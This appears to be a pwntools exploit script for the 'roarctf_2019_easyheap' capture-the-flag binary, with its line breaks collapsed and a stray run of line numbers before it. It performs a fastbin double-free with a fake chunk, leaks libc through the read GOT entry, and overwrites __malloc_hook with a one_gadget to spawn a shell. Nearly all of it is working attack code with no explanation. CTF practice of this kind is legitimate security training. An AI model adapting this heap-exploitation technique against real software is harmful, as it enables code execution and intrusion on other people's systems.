1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119
| from pwn import *
sh = process('./roarctf_2019_easyheap')
libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so') malloc_hook_s = libc.symbols['__malloc_hook'] realloc_s = libc.sym['realloc'] one_gadget_s = 0xf1147 elf = ELF('./roarctf_2019_easyheap') read_got = elf.got['read'] fake_chunk_addr = 0x0000000000602060 fake_chunk = p64(0) + p64(0x71) fake_chunk = fake_chunk.ljust(0x20,'\x00') sh.sendafter('please input your username:',fake_chunk) sh.sendafter('please input your info:','haivk\n')
def add(size,content,blind = False): if not blind: sh.recvuntil('>>') else: sleep(0.3) sh.sendline('1') if not blind: sh.recvuntil('input the size') else: sleep(0.3) sh.sendline(str(size)) if not blind: sh.recvuntil('please input your content') else: sleep(0.3) sh.send(content)
def delete(blind = False): if not blind: sh.recvuntil('>>') else: sleep(0.3) sh.sendline('2')
def show(): sh.sendlineafter('>>','3')
def calloc_A0(content,blind = False): if not blind: sh.recvuntil('>>') else: sleep(0.3) sh.sendline('666') if not blind: sh.recvuntil('build or free?') else: sleep(0.3) sh.sendline('1') if not blind: sh.recvuntil('please input your content') else: sleep(0.3) sh.send(content)
def calloc_del(blind = False): if not blind: sh.recvuntil('>>') else: sleep(0.3) sh.sendline('666') if not blind: sh.recvuntil('build or free?') else: sleep(0.3) sh.sendline('2')
calloc_A0('a'*0xA0) add(0x60,'b'*0x60) calloc_del() add(0x60,'a'*0x60) add(0x60,'a'*0x60)
delete() calloc_del() delete()
add(0x60,p64(fake_chunk_addr)) add(0x60,'a'*0x60) add(0x60,'b'*0x60) add(0x60,'c'*0x18 + p64(read_got) + p64(0xDEADBEEFDEADBEEF)) show() sh.recv(1) read_addr = u64(sh.recv(6).ljust(8,'\x00')) libc_base = read_addr - libc.sym['read'] realloc_addr = libc_base + realloc_s malloc_hook_addr = libc_base + malloc_hook_s one_gadget_addr = libc_base + one_gadget_s print 'libc_base=',hex(libc_base) print 'malloc_hook_addr=',hex(malloc_hook_addr) print 'one_gadget_addr=',hex(one_gadget_addr)
calloc_A0('a',True)
calloc_A0('a'*0xA0,True) add(0x60,'b'*0x60,True) calloc_del(True) add(0x60,'a'*0x60,True) add(0x60,'a'*0x60,True)
delete(True) calloc_del(True) delete(True) add(0x60,p64(malloc_hook_addr - 0x23),True) add(0x60,'a'*0x60,True) add(0x60,'b'*0x60,True) add(0x60,'\x00'*0xB + p64(one_gadget_addr) + p64(realloc_addr + 0x14),True)
sh.sendline('1') sleep(0.3) sh.sendline('1')
sh.interactive()
|